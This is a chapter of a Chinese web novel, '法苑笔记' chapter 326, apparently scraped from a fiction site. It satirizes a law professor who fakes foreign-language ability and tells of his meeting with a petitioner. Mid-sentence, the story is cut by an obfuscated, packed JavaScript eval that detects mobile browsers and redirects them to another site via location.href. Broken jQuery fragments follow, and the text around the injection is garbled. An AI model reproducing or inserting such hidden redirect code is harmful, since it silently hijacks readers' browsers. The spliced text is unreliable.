326.《法苑笔记》第三百二十六章

作品:《法苑笔记

    关于端木天成的为人,传说很多。以正面为主,也有一些捕风捉影的传闻:端木天成在大学学习期间,积极向党组织靠拢,坚持每周向党支部递交一份思想汇报。每份思想汇报都是洋洋洒洒的三四千字。有好事者,把这些思想汇报做了对比,发现每隔两个月,思想汇报内容便会出现雷同现象,且雷同率达百分之四十五。其实这也难怪,一周一份思想汇报,一个月就是四份,一年下来就有五十多分,再高的文化和文采也有枯竭的时候。


    端木天成追求女朋友也很有特色。女同学赵雅真是法律系的系花,也是学院院长赵成儒的千金。大学三年级下半学期,端木天成开始了对赵雅真的爱情攻势,每周一束花,而且每次的花还不重样。


    七八十年代给女同学送花表达爱慕之情的人并不多,那时物资缺乏,人们多以一些小礼品相送。市面上卖花的几乎没有,更别谈什么花店了。


    不过,好在粤省一年四季只有春夏两季,天气炎热,特别适合花草生长,所以在粤省想找寻鲜花还不是什么难事。但长年累月地送鲜花,对鲜花的需求量就大了。


    好事者便对这些花的来源进行了追踪。原来端木天成每次都是骑上一个小时的自行车前往粤省南都市东郊植物园,在植物园丢弃的废品中捡拾品相好的鲜花。


    好女怕缠郞、滴水穿石头,赵雅真终于被端木天成持之以恒的真情打动,在大学毕业前夕,接受了端木天成的求爱,两人建立了恋爱关系。


    据知情人透露,端木天成后来的读硕、读博,以至于留校任教,都是其岳父赵成儒相助,这也很正常,端木天成的学习成绩并不差,在班级的排名至少在中上等,作为岳父适当照顾女婿也在情理之中。


    端木天成虽然是法学博士,但从大学到博士都是在国内读书,其外语水平并不是想象中的那么高。


    这不能怪端木天成,上个世纪八十年代,人们只是想着学好数理化,走遍天下都不怕。普遍不重视学习外语,直到一九七九年高考时英语还不是必考科目。


    但端木天成对别人声称自己的英语水平很高,德文也是出类拔萃,可以读懂《资本论》原著。不论是在大学学习期间还是在工作时期,他都喜欢拿一本英文版或者德文版的原著。比如,英文版的《莎士比亚选集》,德文版的《康德论哲学》。


    有时见他认真研读呈思考状,有时见他朗朗上口,被诗意所感染,这就让那些对他的外文水平持怀疑态度的人感到迷惑,端木天成的外语水平很好?而且还精通几国语言?


    一九九七年到美国南加州州立大学学习,与其是大学同学的孟祥宇也在被选派之列,通过这次美国之行,孟祥宇对端木天成的外文水平才真正了解。


    这次到美国南加州州立大学,省委组织部在全省范围内公开选拔了十七人,都是各行各业的精英人才,是作为二十一世纪省级干部后备人才培养的,孟祥宇被指定为英语翻译。


    孟祥宇在一个私下场合说了端木天成的几件趣事:自称英文水平很高,能够通读甚至背诵莎士比亚诗歌的端木天成,在南加州州立大学期间,连普通的英语对话都听不懂。对学校内很多英文提示也是看不懂,经常说错话跑错地方。学校有很多外国留学生,大家对学校的情况并不是很熟悉,所以经常有人问路或者打听一些事情。像端木天成这样英语水平高的人就经常被人请教问题、打听事情。但端木天城每次遇到这种情况,都是张口结舌,一是听不懂别人的英语,二是不能用英语回答别人的提问,以至于最后他得了问话恐惧症。见到外国人要问他话,他是撒腿就跑。就是这样,他还坚持着自己英语水平很棒的姿态,隔三差五地到学校图书馆借书,三五天后原封不动地把书还给图书馆。据统计,在六个月学习期间,端木天成共借阅了四十七本英文原著和十四本德文原著,在同期学习的中国同学中是遥遥领先。


    回国后,端木天成在各种不同的公开场合讲了自己在美国的学习经历,利用业余时间读了四十七本英文原著和十七本德文原著成了他刻苦钻研的亮点,同时也佐证了他英文、德语水平的高超。


    不过在以后的工作中,接待英语国家的外宾、访问学者,与大学的外国教授打交道,他总是一刻不离英文翻译。用他的话说,这是尊重翻译同志的工作,遵守国家的外事纪律。


    皇甫新城几次到端木天成的办公室,确确实实看到了在端木天成的办公桌显要位置摆放着莎士比亚、康德的原著。书籍已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548152|135380||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    陈旧,显然是翻阅了无数次留下的痕迹。


    皇甫新城觉得眼见为实,耳听为虚。一个人花费这么多心思弄虚作假,也太令人不可思议了。他还是相信端木天成有着相当深厚的外文功底的,并在很多场合为其证明,毕竟人家是正规的法学博士。


    刁德香来得巧,今天正好是端木天成的院长接待日。端木天成作为大学教授、法律专家,不但法律知识渊博,而且口才也是很好。他用自己丰富的法学知识给刁德香讲法律,告诉她触犯了刑律就要承担刑事责任。水乡县法院的判决是罪刑相当,端木天成让刁德香以后不要再上访了,好好在家种田挣钱。


    端木天成对来访人的态度是很好的,还用自己办公室的茶叶给刁德香泡了一杯茶。毕竟是副省级领导喝的茶,茶杯里的茶被开水冲泡后,一股香气扑鼻而来。


    刁德香什么时候喝过这样的茶?刁德香也不管端木天成讲了什么,一杯茶被她冲泡了七八次。端木天成最后实在看不下去了,只好又给她换了一次茶叶。


    刁德香的案件只是一件普通的刑事伤害案件。县、市法官早已经在她耳边讲了几百遍法律原理、法律规定。


    端木天成是大学教授出身,但面对这么一件简单的刑事案件也是讲不出多么深奥的法律原理的。端木天成足足讲了有一个半小时,抬腕看看时间已经是下午五点了,见刁德香瞪着一双满怀期望的眼睛看着自己,端木天成以为今天彻底解决了一个上访户,便等着刁德香说着感谢话,心满意足地离开□□接待室。


    这边刁德香也知道时间已经不早了,见大领导已经不说话了,就想着是不是要从口袋里掏出钱来了。等了一会,见端木天成始终没有动作,便有点疑惑:这么大的领导不会一点表示没有吧?


    端木天成对刁德香的表情也是很不理解。应该说说感谢话,离开了啊?怎么还坐在这里不动呢?“你还有什么事吗?现在快到下班时间了!”


    刁德香直到这时才知道今天没有什么钱拿了,便不甘心地再次看了端木天成一眼,确认端木天成不可能从口袋里掏钱了,才悻悻然站起,不甘心地离开了省高级法院□□接待室。一边走,一边心里想着:真不上路子,这么大领导,一分钱都不给。